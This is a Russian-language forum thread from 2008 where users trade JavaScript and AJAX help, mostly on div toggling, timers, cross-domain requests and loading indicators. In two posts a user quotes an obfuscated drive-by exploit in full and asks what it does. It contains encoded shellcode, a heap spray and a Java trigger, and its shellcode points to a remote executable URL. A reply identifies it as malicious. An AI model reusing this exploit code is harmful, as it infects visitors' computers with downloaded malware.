Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ
Страницы :
1
2
[
3]
4
5
6
7
8
9
10
Можно вот так:
<html><body>
<script language='JavaScript'>
var num,sum; //текущее число, сумма
sum=0;
for(var i=1;i<=4;i++)
{
num=window.prompt("Введите число "+i+":","0");
if(!isNaN(num) && num>5.0) //если ввели число, и оно больше пяти
sum+=Number(num); //преобразуем строку в число
}
if(sum==0)
alert("Чисел больше пяти нет");
else
alert("Сумма: "+sum);
</script>
</body></html>
Извните, может боян и уже обсуждалось в топике(а может и не совсем по теме) .Ситуация примерно такая:
Есть хтмл страница, в ней Javascript примерно такого содержания:
<script type="text/javascript">
document.write("<img src='http://site.ru/?ref="+escape(document.referrer)+"' border=0 width=100 height=120>");
</script>
Ну понятно, что ?ref= можно подменить, и тем самым испортить статистику. Ну например мне нужно смотреть сколько пользователей
будет приходить от определенного адреса(http://google.ru?q=ТЕКСТ).
Я ради интереса посмотрел Javascript'ы от гугла и там Math.Random, но я не
понимаю для чего это(подозреваю что это для правильности)... Вобщем мне нужно сделать так, чтобы referer никто не подменил.
astrologer
29.04.2008, 20:22
Извните, может боян и уже обсуждалось в топике(а может и не совсем по теме) .Ситуация примерно такая:
Есть хтмл страница, в ней Javascript примерно такого содержания:
<script type="text/javascript">
document.write("<img src='http://site.ru/?ref="+escape(document.referrer)+"' border=0 width=100 height=120>");
</script>
Ну понятно, что ?ref= можно подменить, и тем самым испортить статистику. Ну например мне нужно смотреть сколько пользователей
будет приходить от определенного адреса(http://google.ru?q=ТЕКСТ).
Я ради интереса посмотрел Javascript'ы от гугла и там Math.Random, но я не
понимаю для чего это(подозреваю что это для правильности)... Вобщем мне нужно сделать так, чтобы referer никто не подменил.Нет, Math.random там для того, чтобы адрес был каждый раз другой, для борьбы с кешированием. Защиты от подмены реферера нет - просто не нужно полагаться на присылаемые данные. Если это просто для статистики, то выгода от подмены сомнительна.
Вопрос. Можно ли каким-либо скриптом получить содержимое удаленного файла? К примеру, флэшкой можно? Насколько я знаю, с помощью AJAX не получится. Извините, если вопрос нубский, я javascript и swf вообще плохо знаю
Macro, посмотри это http://www.opennet.ru/docs/RUS/servguide14/misc.html#1017481
brasco2k
01.05.2008, 15:03
Вопрос. Можно ли каким-либо скриптом получить содержимое удаленного файла? К примеру, флэшкой можно? Насколько я знаю, с помощью AJAX не получится. Извините, если вопрос нубский, я javascript и swf вообще плохо знаю
правильней сказать action script :) ты хочешь что ли сохранить файл на сервере или прочитать его удаленно ?
astrologer
01.05.2008, 17:30
правильней сказать action script :) ты хочешь что ли сохранить файл на сервере или прочитать его удаленно ?Можно сказать "ECMAScript implementation" и не ошибёшься.
нужен код, который скрывал-показывал слой при выборе из двух select формы, при выборе первой - первый слой показывался, второй скрывался, и соответcnвенно наоборот
Bomber, тебе судя по всему типа такого надо :
<a href="#" onclick="document.getElementById('login-form').style.display='block'; return false;">Видно</a><br> <a href="#" onclick="document.getElementById('login-form').style.display='none'; return false;">Невидно</a>... но только с select(влом было писать с select, так как у самого на сайте такое)
GreenBear
01.05.2008, 23:53
<div class='aa' id='aa'>123</div>
<div class='bb' id='bb'>456</div>
<style type='text/css'>
.aa{
display: block;
}
.bb{
display: none;
}
</style>
<select onChange="check(this)"><option value=aa>aa</option><option value=bb>bb</option></select>
<script type="text/javascript">
function check(s){
if(s[0].selected){
document.getElementById('aa').className = 'bb';
document.getElementById('bb').className = 'aa';
}else{
document.getElementById('aa').className = 'aa';
document.getElementById('bb').className = 'bb';
}
}
</script>
бомберу от бомбега :D
Architek86
02.05.2008, 00:05
Дана вот такая форма в диве:
<div id="testBlockD">
<script type="text/javascript">function button_activate() { document.getElementById('TstSbm').disabled = false; }</script>
<form name="addform" id="tstAddForm" method="POST" action="ссылка на сайтик" onsubmit="tstNextStep();return false;">
<table border="0" cellspacing="1" cellpadding="0" width="100%">
<tr>
<td>
<div class="eTitle">Какого цвета красный цвет?</div>
</td>
</tr>
<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o0" value="1" onClick="button_activate();"><label for="o0">Не знаю</label>
</td>
</tr>
<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o1" value="2" onClick="button_activate();"><label for="o1">Знаю но не скажу</label>
</td>
</tr>
<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o2" value="3" onClick="button_activate();"><label for="o2">Я знаю но не знаю как ответить</label>
</td>
</tr>
<tr>
<td>
<hr>
Текущий вопрос: <b>1</b> (всего вопросов в тесте: <b>3</b>)
</td>
</tr>
<tr>
<td align="center">
<hr /><input type="submit" name="submit" id="TstSbm" value="Перейти к следующему вопросу" disabled>
</td>
</tr>
</table>
</form>
</div>
Нужен скрипт, который бы отсчитывал время (время определяеться переменной, например, "timetest"), после окончания заданного временич устанававливал radio на том, у которого id="o0" (т.е. самом верхнем), ну и отправлял бы форму (как по нажатию кнопки Submit). Если можно, то отсчитывание времени сделать видимым :)
Нечто вроди:
<script type="text/javascript">
var time = 2; // в секундах
setTimeout("funct();",time*1000);
function funct(){
document.getElementById('o0').checked = true;
document.forms['addform'].submit();
}
</script>
Architek86
02.05.2008, 01:43
VDShark, спс, но нужно его дополнить ещё тем, что бы на экране шёл таймер назад...
astrologer
02.05.2008, 02:28
<div id="testBlockD">
<script type="text/javascript">function button_activate() { document.getElementById('TstSbm').disabled = false; }</script>
<script type="text/javascript">
(function()
{
var i = 20, timer;
timer = setInterval(function()
{
if(i--)
{
document.getElementById('time').innerHTML = i;
}
else
{
clearInterval(timer);
document.forms.addform.submit();
}
}, 1000);
})();
</script>
<form name="addform" id="tstAddForm" method="POST" action="ссылка на сайтик" onsubmit="tstNextStep();return false;">
<table border="0" cellspacing="1" cellpadding="0" width="100%">
<tr>
<td>
<div class="eTitle">Какого цвета красный цвет?</div>
</td>
</tr>
<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o0" value="1" onClick="button_activate();"><label for="o0">Не знаю</label>
</td>
</tr>
<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o1" value="2" onClick="button_activate();"><label for="o1">Знаю но не скажу</label>
</td>
</tr>
<tr>
<td class="eVariant">
<input type="radio" name="otvets" id="o2" value="3" onClick="button_activate();"><label for="o2">Я знаю но не знаю как ответить</label>
</td>
</tr>
<tr>
<td>
<hr>
Текущий вопрос: <b>1</b> (всего вопросов в тесте: <b>3</b>)<br>
<span id="time"> 20 </span>
</td>
</tr>
<tr>
<td align="center">
<hr /><input type="submit" name="send" id="TstSbm" value="Перейти к следующему вопросу" disabled>
</td>
</tr>
</table>
</form>
</div>Не стоит давать полю имя "submit".
правильней сказать action script :) ты хочешь что ли сохранить файл на сервере или прочитать его удаленно ?
прочитать его удаленно. Я знаю, что правильнее говорить и как =) Просто так короче
Macro, чет не пойму, а на пхп почему бы не прочитать соответственно и на аяксе
Macro, чет не пойму, а на пхп почему бы не прочитать соответственно и на аяксе
Мне нужно прочитать файл с другого сайта, используя только пользовательские скрипты. AJAX тут не поможет, его можно использовать только внутри своего сайта
Если ты найдешь решение, то через xss можно будет залить шелл =\
AJAX тут не поможет, его можно использовать только внутри своего сайта
Кто тебе такую глупость сказал? Что то ты раздул проблему из ничего...
Кто тебе такую глупость сказал? Что то ты раздул проблему из ничего...
Ну-ка покажи мне код на ajax, который будет получать код страницы http://ya.ru :) Именно получать, а не iframe
Получать, всмысле заносить в переменную или что? =\
Получать, всмысле заносить в переменную или что? =\
Да, да именно так. Заносить в переменную для дальнейших операций
<script>
if(typeof(XMLHttpRequest)!='undefined'){
var getXMLHttpObj = function(){ return new XMLHttpRequest(); }
} else {
var getXMLHttpObj = function(){
var activeXObjects = ['Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0',
'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP', 'Microsoft.XMLHTTP'];
for(var i=0; i<activeXObjects.length; i++){
try{
return new ActiveXObject(activeXObjects[i]);
}catch(err){}
}
}
}
var Ajax = getXMLHttpObj();
Ajax.open('GET', 'http://ya.ru', true);
Ajax.onreadystatechange = processingFunction;
Ajax.send();
function processingFunction(){
if(Ajax.readyState!=4) return;
alert(Ajax.responseText);
}
</script>
astrologer
03.05.2008, 14:27
<script>
if(typeof(XMLHttpRequest)!='undefined'){
var getXMLHttpObj = function(){ return new XMLHttpRequest(); }
} else {
var getXMLHttpObj = function(){
var activeXObjects = ['Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0',
'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP', 'Microsoft.XMLHTTP'];
for(var i=0; i<activeXObjects.length; i++){
try{
return new ActiveXObject(activeXObjects[i]);
}catch(err){}
}
}
}
var Ajax = getXMLHttpObj();
Ajax.open('GET', 'http://ya.ru', true);
Ajax.onreadystatechange = processingFunction;
Ajax.send();
function processingFunction(){
if(Ajax.readyState!=4) return;
alert(Ajax.responseText);
}
</script>
В любом нормальном браузере кросс-доменные ограничения не дадут этого сделать, если намеренно их не отключить.
Я и сам так написал :) Ты бы проверил хоть. У браузера есть система безопасности, которая не позволяет использовать чужие хосты. Так что ты бы сначала проверил, а не вякал. Думаю, решения в данном случае нет
Все работает - м.б. данный код не под всеми браузерами отработает - но принцип такой.
Все работает - м.б. данный код не под всеми браузерами отработает - но принцип такой.
Принцип я знаю и данный код уже пробовал и не раз. Он не работает ни на опере, ни на ie. Мне нужно либо для оперы, либо для ie. AJAX тут не поможет ИМХО, может actionscript?
Принцип я знаю и данный код уже пробовал и не раз. Он не работает ни на опере, ни на ie. Мне нужно либо для оперы, либо для ie. AJAX тут не поможет ИМХО, может actionscript?
М... ну если действительно брать огранчения в рассмотрение - почему бы не написать на этом хосте php-скрипт, который будет считывать удаленную страницу и отдавать ее пользователю? А обращаться так же через ajax, но к данному хосту, тут то нет ограничений... или хост не твой?:)
почему бы не написать на этом хосте php-скрипт
или хост не твой?:)
Скажем так... На этом хосте нет php и вообще нет серверных скриптов. =) Не знаешь - молчи.
Скажем так... На этом хосте нет php и вообще нет серверных скриптов. =) Не знаешь - молчи.
Просто ситуацию яснее описывать нужно, а не так - поиграйте в угадайку, а потом еще и говорить что все не так и все не то :)
Просто ситуацию яснее описывать нужно, а не так - поиграйте в угадайку, а потом еще и говорить что все не так и все не то :)
Я точно написал, что мне нужно, все заданные вопросы сводятся к тому, почему мне именно это нужно, а не к уточнению деталей.
Ясно.
http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/net/Socket.html#Socket()
Почитай - м.б. поможет (сам не юзал)
astrologer
03.05.2008, 16:57
В виджетах Оперы кросс-доменные ограничения XMLHttpRequest отключены.
В виджетах Оперы кросс-доменные ограничения XMLHttpRequest отключены.
Это хорошо, но ведь виджет еще устанавливать надо :( Ээх.. Видимо, не судьба мне воплотить свою идею.
<div class='aa' id='aa'>123</div>
<div class='bb' id='bb'>456</div>
<style type='text/css'>
.aa{
display: block;
}
.bb{
display: none;
}
</style>
<select onChange="check(this)"><option value=aa>aa</option><option value=bb>bb</option></select>
<script type="text/javascript">
function check(s){
if(s[0].selected){
document.getElementById('aa').className = 'bb';
document.getElementById('bb').className = 'aa';
}else{
document.getElementById('aa').className = 'aa';
document.getElementById('bb').className = 'bb';
}
}
</script>
бомберу от бомбега :D
о, спасибо!
а как сделать тоже самое с radio?
<input name="filetype" type="radio" value="0" checked> один <input name="filetype" type="radio" value="1"> два
<div class=1>один</div>
<div class=2>два</div>
astrologer
05.05.2008, 17:47
а как сделать тоже самое с radio?<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title></title>
<style type="text/css">
#container { margin: 10px 0; }
#container div
{
background: #EEE;
width: 100px;
height: 75px;
border: #AAA solid 1px;
padding: 0 3px;
font-size: small;
}
div.show { display: block; }
div.hide { display: none; }
</style>
<script type="text/javascript">
function toggle(id, a)
{
var node = document.getElementById(id),
i = a.length;
while(i--)
{
if(a[i].checked)
{
var blocks = node.getElementsByTagName('div'),
l = blocks.length;
while(l--)
{
blocks[l].className = 'hide';
}
blocks[i].className = 'show';
break;
}
}
};
</script>
</head>
<body>
<div id="container">
<div class="show">1</div>
<div class="hide">2</div>
<div class="hide">3</div>
<div class="hide">4</div>
<div class="hide">5</div>
<div class="hide">6</div>
<div class="hide">7</div>
<div class="hide">8</div>
<div class="hide">9</div>
<div class="hide">10</div>
</div>
<form onclick="toggle('container', this.filetype)" action="javascript:alert('submitted')">
<input name="filetype" type="radio"> 1<br>
<input name="filetype" type="radio"> 2<br>
<input name="filetype" type="radio"> 3<br>
<input name="filetype" type="radio"> 4<br>
<input name="filetype" type="radio"> 5<br>
<input name="filetype" type="radio"> 6<br>
<input name="filetype" type="radio"> 7<br>
<input name="filetype" type="radio"> 8<br>
<input name="filetype" type="radio"> 9<br>
<input name="filetype" type="radio"> 10<br>
</form>
</body>
</html>
есть div с overflow: scroll , полный текста.
Нужно яваскриптом прокручивать его вниз. как это сделать? (делаю подобие чата)
UPD: разобрался, есть замечательная функция
function toBottom(id){
document.getElementById(id).scrollTop=document.get ElementById(id).scrollHeight
}
теперь надо узнать как по нажатию enter в textarea - вызывать функцию яваскрипт )
astrologer
07.05.2008, 13:06
есть div с overflow: scroll , полный текста.
Нужно яваскриптом прокручивать его вниз. как это сделать? (делаю подобие чата)[ object HTMLDivElement ].scrollTop++
еще вопрос, как можно сделать "живой" поиск? такая тема есть на многих форумах, тоисть, вводишь данные в поле, и через паузу идет запрос в БД на соответсвие с уже введенными данными в поле, результат выводится без перезагрузки
мож где есть уже готовое решение? оч нада
как повесить событие на нажатие enter в простом инпуте?
попробовал такой код:
var flg = (document.all) ? 0 : 1;
if(flg){
document.captureEvents(Event.KEYDOWN);
}
document.onkeydown = pressed;
function pressed(e){
if(flg){
if(e.keyCode == 13) add();
} else {
if(event.keyCode == 13) add();
}
return false;
}
в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты.
Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает.
хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.
В начало функции:
var e = e ? e : window.event;
как повесить событие на нажатие enter в простом инпуте?
попробовал такой код:
var flg = (document.all) ? 0 : 1;
if(flg){
document.captureEvents(Event.KEYDOWN);
}
document.onkeydown = pressed;
function pressed(e){
if(flg){
if(e.keyCode == 13) add();
} else {
if(event.keyCode == 13) add();
}
return false;
}
в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты.
Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает.
хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.
сделай onkeypress...
и посмотри на скрипт изменения статуса в контакте ;)
о, я-я. подсмотрел как сделано вконтакте - теперь и у меня всё безглючно и красиво, спасибо большое!
Architek86
12.05.2008, 23:56
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...
document.getElementById('zloe').style.visibility = 'hidden'; - скрыть с резервированием места (т.е. дива видно не будет, но место останеся пустым);
document.getElementById('zloe').style.display = 'none' - скрыть без резервирования места.
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...
Вот готовая реализация:
Скрипт скрывающий/показывающий DIV по ID:
function showDiv(xx)
{
if(document.getElementById(xx).style.display=="none")
{document.getElementById(xx).style.display="block";}
else document.getElementById(xx).style.display="none";
}
Пример использования:
<span onclick="showDiv('manual')">Показать/Скрыть DIV</span>
<div id="manual" style="display:none;" width="*">ля-ля :) </div>
еще вопрос, как можно сделать "живой" поиск? такая тема есть на многих форумах, тоисть, вводишь данные в поле, и через паузу идет запрос в БД на соответсвие с уже введенными данными в поле, результат выводится без перезагрузки
мож где есть уже готовое решение? оч нада
Вот используй эту библиотеку, то что доктор прописал))):
JsHttpRequest (http://dklab.ru/lib/JsHttpRequest/)
Вот краткий список наиболее интересных возможностей и преимуществ библиотеки.
Отличная кроссбраузерность (библиотека работает даже в IE 5.0 с отключенным ActiveX).
Поддержка и "прозрачная" работа с любыми кодировками (в том числе русскоязычными).
Загрузка файлов на сервер "методом AJAX".
Полная совместимость с популярной JavaScript-библиотекой prototype.
Полная поддержка отладочных возможностей и традиционных методов программирования на PHP.
Обмен многомерными структурами между клиентом и сервером (ассоциативные массивы).
Автоматический выбор подходящего метода загрузки данных (XMLHttpRequest, <SCRIPT>, <IFRAME>).
Доступен интерфейс, совместимый с XMLHttpRequest.
Люди, что делает этот яваскрипт?
<script type="text/javascript">
cHylUUL = unescape("%u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa %ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6 ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef1 1%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef% uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub 9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e8 7%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb %uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%u f5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66 bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64 %u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%u ebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7 ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%ua a64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6% uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf 7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0ee c%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403% ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9 964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff5 1%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1% ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u3 2ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uef a1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73 %u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u 702E%u7068");
i4zsVXx = unescape('%u0800');
SzZHy = 0x08000800;
bs = i4zsVXx;
while (bs.length <= 0x400000) { bs += bs; }
var cs = new Array();
for (var id =0; id <36 ; id++)
{
cs[id] =
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL;
}
if (window.navigator.javaEnabled)
{
window.navigator = (SzZHy / 2);
try { java.lang.reflect.Runtime.newInstance(java.lang.Cl ass.forName(java.lang.Runtime, 0)); }
catch(e){}
}
</script>
astrologer
13.05.2008, 19:37
Скрипт скрывающий/показывающий DIV по ID:
Код:
function showDiv(xx)
{
if(document.getElementById(xx).style.display=="none")
{document.getElementById(xx).style.display="inline";}
else document.getElementById(xx).style.display="none";
}Пожалуйста, не приводите заведомо плохие примеры.
div - блочный элемент.
Люди, что делает этот яваскрипт?Пытается запустить на исполнение вредоносный код.
Пожалуйста, не приводите заведомо плохие примеры.
div - блочный элемент.
И в чём же он плохой? Приведите тогда "хороший" пример , просто мне уже самому интересно стало, как за минимум операций скрыть/показать элемент :confused:
Он хотел сказать что надо не inline, a block
Он хотел сказать что надо не inline, a block
:D Теперь понятно! Хотя и inline работает нормально если содержание простой текст) Спасибо за поправку :)
Кто может расшифровать, что тут:
%u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa %ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6 ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef1 1%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef% uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub 9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e8 7%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb %uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%u f5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66 bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64 %u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%u ebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7 ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%ua a64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6% uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf 7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0ee c%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403% ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9 964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff5 1%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1% ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u3 2ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uef a1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73 %u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u 702E%u7068
Help Me, Please!
ЦИКЛЫ
1. Дано целое число N (> 1). Найти наибольшее целое число K, при котором выполняется неравенство 3k < N.
2. Известны оценки по алгебре каждого ученика класса. Определить среднюю оценку.
Заранее огромнейшее спасибо!
astrologer
13.05.2008, 23:34
Help Me, Please!
ЦИКЛЫ
1. Дано целое число N (> 1). Найти наибольшее целое число K, при котором выполняется неравенство 3k < N.
2. Известны оценки по алгебре каждого ученика класса. Определить среднюю оценку.
Заранее огромнейшее спасибо!Пожалуйста. :)<script type="text/javascript">
var first = function(n)
{
if(n < 1 || isNaN(n)) return;
var i = 0;
while((i + 1) * 3 < n) i++;
return i;
},
second = function(a)
{
if(!(a instanceof Array)) return;
var l = a.length, i = 0;
while(l--) i += a[l];
return parseInt(i / a.length);
};
alert(first(15));
alert(second([5,1,2,4,1,2,4,1,3,4,5,2,4,5]));
</script>
Люди как сделать так, чтобы ссылка менялась без перезагрузки? Можно при помощи div-ов, типа display:none и display:block но хотелось бы как то по иному. Кто может помочь? +
astrologer
15.05.2008, 03:40
<a href="http://ya.ru">http://ya.ru</a><input type="button" value="do" onclick="var a = this.previousSibling;a.innerHTML = a.href = 'http://google.ru'">
<a href="http://ya.ru">http://ya.ru</a><input type="button" value="do" onclick="var a = this.previousSibling;a.innerHTML = a.href = 'http://google.ru'">
Ну чтож, +6 до 400 уважаемый astrologer! Спасибо!
А то знает как сделать, простой кросбраузерный прелойдинг для загрузки фото?
А то знает как сделать, простой кросбраузерный прелойдинг для загрузки фото?
Юзай поиск - я уже отвечал где то на этот вопрос, кажется даже в этой ветке.
astrologer
15.05.2008, 13:31
<script type="text/javascript">
function preload() // preload('qwe.jpg', 'qwo.png', 'qwa.gif');
{
var i = arguments.length;
while(i--) (new Image()).src = arguments[i];
};
</script>
Architek86
16.05.2008, 16:18
Дан такой код:
<div id="tema">
<div class="eTitle">ляля</div><div class="eMessage">ляля</div>
<div class="eTitle">ляля</div><div class="eMessage">ляля</div>
<div class="eTitle">ляля</div><div class="eMessage">ляля</div>
</div>
Так вот... нужен скрипт, который бы выбирал отсюда рандомно любой div с классом eTitle и отображал только его с его содержимым (т.е. все другие дивы, как eTitle так и eMessage, скрывались). Как это сделать и возможно ли?
astrologer
16.05.2008, 16:41
<div id="tema">
<div class="eTitle">1 eTitle</div><div class="eMessage">1 eMessage</div>
<div class="eTitle">2 eTitle</div><div class="eMessage">2 eMessage</div>
<div class="eTitle">3 eTitle</div><div class="eMessage">3 eMessage</div>
</div>
<script type="text/javascript">
// :TODO: addEventListener/attachEvent
window.onload = function()
{
var
holder = document.getElementById('tema'),
blocks = holder.getElementsByTagName('div'),
l = blocks.length,
a = [];
while(l--)
{
blocks[l].style.display = 'none';
if(blocks[l].className == 'eTitle') a.push(blocks[l]);
}
a[Math.floor(Math.random() * a.length)].style.display = 'block';
};
</script>
Уже писал задачу, но теперь требуется немного другое выполнение. Не понимаю правильную запись.
Задача.
Известны оценки по алгебре каждого ученика класса.Определить среднюю оценку. Сгенерировать случайным образом числа(оценки) 2,3,4,5. Вывести на экран около 15 оценок и вывести их среднее арифметическое.
astrologer
17.05.2008, 04:06
Уже писал задачу, но теперь требуется немного другое выполнение. Не понимаю правильную запись.
Задача.
Известны оценки по алгебре каждого ученика класса.Определить среднюю оценку. Сгенерировать случайным образом числа(оценки) 2,3,4,5. Вывести на экран около 15 оценок и вывести их среднее арифметическое.А что не получается?
Вобщем нужен примитивный пример работы аякса, имеем страницу ( zzz.php на ней ссылка, например, <a href='xxx.php'>xx</a> ( внутри xxx.php: <?php echo '123'; ?> )
нужно чтобы при нажатии на нее загружался файл xxx.php, а то что было в zzz.php убиралось и загружался xxx.php, без перезагрузки страницы то есть с использованием аякса..
Думаю понятно объснил).
Спасибо =)
mouse.pro
18.05.2008, 11:51
Помогите пожалуйста скриптиком ajax, в общем суть скрипта такова:
Заходим на сайт, видим пустое белое, черное, не важно какое, окно, где по середине пишется "Загрузка: 53%", и каждый раз эти проценты меняются, в зависимости на сколько загрузилась главная страничка, а после загрузки ("Загрузка: 100%") через 2-е секунды открывается полностью главная страничка, с загруженными картинками, элементами, текстами и т.п.
mouse.pro, элементарный запрос в google:
http://google.ru/?q=Ajax+loader+percent
eD']Вобщем нужен примитивный пример работы аякса, имеем страницу ( zzz.php на ней ссылка, например, <a href='xxx.php'>xx</a> ( внутри xxx.php: <?php echo '123'; ?> )
нужно чтобы при нажатии на нее загружался файл xxx.php, а то что было в zzz.php убиралось и загружался xxx.php, без перезагрузки страницы то есть с использованием аякса..
Думаю понятно объснил).
Спасибо =)
http://www.alex-mryasov.ru/note/loader/
astrologer
18.05.2008, 13:59
http://www.alex-mryasov.ru/note/loader/Если сервер не будет успевать за секунду передать все данные, скрипт уйдёт в бесконечный цикл.
mouse.pro
18.05.2008, 14:46
mouse.pro, элементарный запрос в google:
http://google.ru/?q=Ajax+loader+percent
Я искал, не нашел того чего хочу.
astrologer
18.05.2008, 17:41
Помогите пожалуйста скриптиком ajax, в общем суть скрипта такова:
Заходим на сайт, видим пустое белое, черное, не важно какое, окно, где по середине пишется "Загрузка: 53%", и каждый раз эти проценты меняются, в зависимости на сколько загрузилась главная страничка, а после загрузки ("Загрузка: 100%") через 2-е секунды открывается полностью главная страничка, с загруженными картинками, элементами, текстами и т.п.Есть два возможных подхода:
1) К обычной странице подключается скрипт, который каким-то образом должен отслеживать процесс загрузки. Но JS не может узнать полный размер кода/текста страницы раньше, чем она загрузится. (Или надо изменять серверную часть.) С картинками ещё можно что-нибудь придумать.
2) Можно попробовать грузить всё через JS. При этом сама страница будет содержать только скрипт и, скажем, пустой блок. Соответственно поисковики и пользователи без JS ничего не увидят.
Лично моё мнение: это подход флеша. Попадёшь на страницу, и не узнаешь, есть ли на ней нужная информация, пока всё не загрузится.
Лови js код при загрузке pro.mail.ru
astrologer
19.05.2008, 02:16
На pro.mail.ru просто функция (incPointsLoaded) вызывается в конце каждого скрипта: function progressBarSize() {
if (!parseInt(pointsCount)) return;
//alert('1 : '+parseInt(pointsLoaded));
//alert('2 : '+parseInt(pointsCount));
//alert('3 : '+(parseInt(pointsLoaded)/parseInt(pointsCount)));
val = parseInt(100*parseInt(pointsLoaded)/parseInt(pointsCount));
var re=/^[0-9\+\-()\#, ]+$/;
var res = re.test(val);
if (!res) {
alert("Ошибка в значении прогресс-бара!");
gebi("persent").value = "";
return false;
}
if (val < 0) val = 0;
if (val > 100) val = 100;
if (gebi("resizeble")) {
parentWidth = gebi("resizeble").parentNode.offsetWidth;
gebi("resizeble").style.width = parentWidth * (val/100);
}
}
function incPointsLoaded(name) {
pointsLoaded = pointsLoaded+1; // Вообще круто
progressBarSize();
}
if (typeof(incPointsLoaded) == "function") incPointsLoaded('dropdown_script');
mouse.pro
19.05.2008, 14:21
Загрузка на mail.ru понравилась, то что надо!
Только вот я в ajax полный 0, как это все прикрутить к страничке? если не трудно напишите пожалуйста=)
astrologer
19.05.2008, 15:32
